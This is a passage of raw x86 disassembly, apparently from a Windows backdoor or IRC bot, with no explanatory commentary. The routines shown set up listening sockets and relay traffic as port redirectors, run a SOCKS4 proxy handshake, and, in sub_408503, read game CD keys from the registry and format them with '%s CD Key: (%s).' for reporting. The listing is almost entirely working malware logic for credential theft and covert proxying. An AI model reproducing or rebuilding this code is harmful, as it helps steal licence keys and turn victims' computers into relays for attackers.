loc_407A86:				; CODE XREF: sub_4078DF+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_407A82
		jmp	short loc_407A61
; ---------------------------------------------------------------------------


loc_407A8D:				; CODE XREF: sub_4078DF+1C0j
		push	7D0h
		call	esi	; Sleep


loc_407A94:				; CODE XREF: sub_4078DF+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_43B67C[eax*8], 1
		jz	short loc_407A8D


loc_407AA1:				; CODE XREF: sub_4078DF+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43B678[eax*8]
		push	eax
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A38
		push	eax
		call	sub_415316
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407AEF
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412BD1
		add	esp, 14h


loc_407AEF:				; CODE XREF: sub_4078DF+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_43B67C[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_41501C
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407B26
		push	offset dword_43BFD8
		call	dword_4210BC	; RtlDeleteCriticalSection


loc_407B26:				; CODE XREF: sub_4078DF+23Aj
		push	[ebp+var_2C]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_4078DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407B36	proc near		; DATA XREF: sub_40CD3A+3509o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		xor	edi, edi
		push	10h
		inc	edi
		pop	ebx
		mov	[eax+120h], edi
		xor	esi, esi
		push	ebx
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43CA24	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43CAA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407C99
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_441BA4[eax], ebx
		call	dword_43C940	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43CA50	; bind
		test	eax, eax
		jnz	loc_407C99
		push	0Ah
		push	ebx
		call	dword_43CA4C	; listen
		test	eax, eax
		jnz	loc_407C99


loc_407BE0:				; CODE XREF: sub_407B36+BEj
					; sub_407B36+15Ej
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43CAB8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407BE0
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427BD0
		push	eax
		call	sub_415316
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414DDA
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_441B9C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407CBD
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_441BAC[ecx], eax
		jnz	short loc_407C8F
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427B80
		call	sub_40B0EC
		pop	ecx
		pop	ecx
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407C87:				; CODE XREF: sub_407B36+15Cj
		push	32h
		call	dword_421060	; Sleep


loc_407C8F:				; CODE XREF: sub_407B36+13Aj
		cmp	[ebp+var_2C], esi
		jz	short loc_407C87
		jmp	loc_407BE0
; ---------------------------------------------------------------------------


loc_407C99:				; CODE XREF: sub_407B36+61j
					; sub_407B36+93j ...
		mov	edi, [ebp+arg_0]


loc_407C9C:				; CODE XREF: sub_407B36+14Fj
		push	edi
		call	dword_43CABC	; closesocket
		push	ebx
		call	dword_43CABC	; closesocket
		push	[ebp+var_3C]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407B36	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407CBD	proc near		; DATA XREF: sub_407B36+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_43CAA4	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407E20
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_43CA24	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43CA64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407D4D
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43CAA8	; gethostbyname
		jmp	short loc_407D5B
; ---------------------------------------------------------------------------


loc_407D4D:				; CODE XREF: sub_407CBD+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43C9DC	; gethostbyaddr


loc_407D5B:				; CODE XREF: sub_407CBD+8Ej
		cmp	eax, edi
		jz	loc_407E20
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407E20
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_427C80
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414DDA
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_441BA4[ebx]
		mov	dword_441B9C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_441BA8[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407EA5
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_441BAC[ecx], eax
		jnz	short loc_407E59
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427C28
		call	sub_40B0EC
		pop	ecx
		pop	ecx


loc_407E20:				; CODE XREF: sub_407CBD+44j
					; sub_407CBD+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_441BA4[eax]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	dword_43CABC	; closesocket
		push	[ebp+var_4]
		call	sub_4150F0
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx


loc_407E51:				; CODE XREF: sub_407CBD+19Fj
		push	32h
		call	dword_421060	; Sleep


loc_407E59:				; CODE XREF: sub_407CBD+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_407E51
		mov	ebx, 1000h


loc_407E63:				; CODE XREF: sub_407CBD+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43CA3C	; recv
		cmp	eax, edi
		jle	short loc_407E20
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407E63
		jmp	loc_407E20
sub_407CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407EA5	proc near		; DATA XREF: sub_407CBD+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407EDC:				; CODE XREF: sub_407EA5+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_441BA8[esi]
		call	dword_43CA3C	; recv
		test	eax, eax
		jle	short loc_407F23
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_441BA4[esi]
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EDC


loc_407F23:				; CODE XREF: sub_407EA5+61j
		push	dword_441BA8[esi]
		call	dword_43CABC	; closesocket
		push	[ebp+var_14]
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_407EA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F42	proc near		; DATA XREF: sub_40CD3A+587Co

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43CA24	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_43CAA4	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_441BA4[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43CA50	; bind
		test	eax, eax
		jnz	loc_4080E3
		push	0Ah
		push	edi
		call	dword_43CA4C	; listen
		test	eax, eax
		jnz	loc_4080E3
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427DC8
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_40801D
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412BD1
		add	esp, 14h


loc_40801D:				; CODE XREF: sub_407F42+B9j
					; sub_407F42+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B078
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43CAB8	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D70
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_414DDA
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_441B9C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_408146
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4080D9
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D20
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40801D
; ---------------------------------------------------------------------------


loc_4080D1:				; CODE XREF: sub_407F42+19Aj
		push	5
		call	dword_421060	; Sleep


loc_4080D9:				; CODE XREF: sub_407F42+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_4080D1
		jmp	loc_40801D
; ---------------------------------------------------------------------------


loc_4080E3:				; CODE XREF: sub_407F42+7Bj
					; sub_407F42+8Cj
		push	edi
		call	dword_43CABC	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_427CD8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_408126
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412BD1
		add	esp, 14h


loc_408126:				; CODE XREF: sub_407F42+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B078
		push	[ebp+var_3C]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407F42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408146	proc near		; DATA XREF: sub_407F42+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_441BA4[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43CA0C	; select
		test	eax, eax
		jnz	short loc_4081C7
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4081C7:				; CODE XREF: sub_408146+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43CA3C	; recv
		test	eax, eax
		jg	short loc_4081F8
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4081F8:				; CODE XREF: sub_408146+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4083F2
		cmp	[ebp+var_4CF], 1
		jnz	loc_4083F2
		cmp	[ebp+var_44], bl
		jz	short loc_40828E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40828E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_427EB0
		call	sub_40B0EC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_415390
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43CA74	; send
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40828E:				; CODE XREF: sub_408146+CFj
					; sub_408146+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_415390
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43CAA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_408326
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		push	offset unk_427E60
		call	sub_40B0EC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415390
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43CA74	; send
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_408326:				; CODE XREF: sub_408146+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408395
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		push	offset unk_427E08
		call	sub_40B0EC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415390
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43CA74	; send
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_408395:				; CODE XREF: sub_408146+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43CA74	; send
		push	dword ptr [esi]
		push	edi
		call	sub_40840A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43CABC	; closesocket
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4083F2:				; CODE XREF: sub_408146+B9j
					; sub_408146+C6j
		push	dword ptr [esi]
		call	dword_43CABC	; closesocket
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_408146	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40840A	proc near		; CODE XREF: sub_408146+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_408420:				; CODE XREF: sub_40840A+BEj
					; sub_40840A+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_408431:				; CODE XREF: sub_40840A+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_408442
		inc	eax
		cmp	eax, ecx
		jb	short loc_408431


loc_408442:				; CODE XREF: sub_40840A+31j
		cmp	eax, ecx
		jnz	short loc_408456
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408456:				; CODE XREF: sub_40840A+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43CA0C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43C91C	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4084B6
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084FE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084FE


loc_4084B6:				; CODE XREF: sub_40840A+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C91C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_408420
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA3C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084FE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_408420


loc_4084FE:				; CODE XREF: sub_40840A+93j
					; sub_40840A+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40840A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408503	proc near		; CODE XREF: sub_40CD3A+525Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_427F04, ebx
		mov	[ebp+var_C], 80h
		jz	loc_4086AF
		push	esi
		push	edi
		mov	eax, offset off_427F04
		mov	esi, offset dword_427F10
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408533:				; CODE XREF: sub_408503+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43CA94	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43C930	; RegQueryValueExA
		test	eax, eax
		jnz	loc_408696
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_40865A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415A08
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408696
		push	eax
		jmp	short loc_4085C3
; ---------------------------------------------------------------------------


loc_4085AE:				; CODE XREF: sub_408503+D0j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4085D7
		push	[ebp+var_8]


loc_4085C3:				; CODE XREF: sub_408503+A9j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_416FDC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4085AE
		jmp	short loc_40864F
; ---------------------------------------------------------------------------


loc_4085D7:				; CODE XREF: sub_408503+BBj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_416F20
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_70]
		jz	short loc_408616
		push	offset asc_429118 ; "="
		push	eax
		call	sub_416B3F
		push	offset asc_429118 ; "="
		push	ebx
		call	sub_416B3F
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415316
		add	esp, 20h
		jmp	short loc_40862A
; ---------------------------------------------------------------------------


loc_408616:				; CODE XREF: sub_408503+E5j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415316
		add	esp, 10h


loc_40862A:				; CODE XREF: sub_408503+111j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B078
		add	esp, 18h


loc_40864F:				; CODE XREF: sub_408503+D2j
		push	[ebp+var_8]
		call	sub_415960
		pop	ecx
		jmp	short loc_408696
; ---------------------------------------------------------------------------


loc_40865A:				; CODE XREF: sub_408503+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B078
		add	esp, 28h


loc_408696:				; CODE XREF: sub_408503+60j
					; sub_408503+A2j ...
		push	[ebp+var_4]
		call	dword_43CA00	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_408533
		pop	edi
		pop	esi


loc_4086AF:				; CODE XREF: sub_408503+19j
		pop	ebx
		leave
		retn
sub_408503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4086B2	proc near		; DATA XREF: sub_40CD3A+3B87o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
